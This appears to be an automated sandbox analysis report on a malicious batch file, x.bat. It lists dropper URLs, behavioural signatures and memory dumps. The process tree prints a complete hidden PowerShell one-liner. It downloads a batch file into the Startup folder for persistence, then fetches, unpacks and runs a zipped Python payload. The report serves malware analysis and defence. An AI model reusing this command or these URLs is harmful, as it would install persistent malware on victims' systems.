Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/09/2026, 12:28
General
- Target i-main/x.bat
- Size 422KB
- Sample260905-pnpdpavbla
- SHA256 5625b1f1ed09defd9e34b1f034db9c8fc53bb63c365cf4ef91e494ede792a663
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/ty9989/u/raw/main/ud.bat
-
exe.dropper
https://github.com/ty9989/z/raw/main/T3.zip
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\i-main\x.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Creates a file in the Startup directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4760-2-0x00007FFF9ED3F000-0x00007FFF9ED40000-memory.dmp
memory/4760-3-0x000001A7037D0000-0x000001A7037F2000-memory.dmp
memory/4760-4-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-7-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-8-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-9-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-10-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-11-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-12-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-14-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-15-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-16-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp
memory/4760-17-0x000001A71BD20000-0x000001A71BD2A000-memory.dmp
memory/4760-18-0x000001A71BD50000-0x000001A71BD62000-memory.dmp
memory/4760-20-0x00007FFF9EBB0000-0x00007FFF9F554000-memory.dmp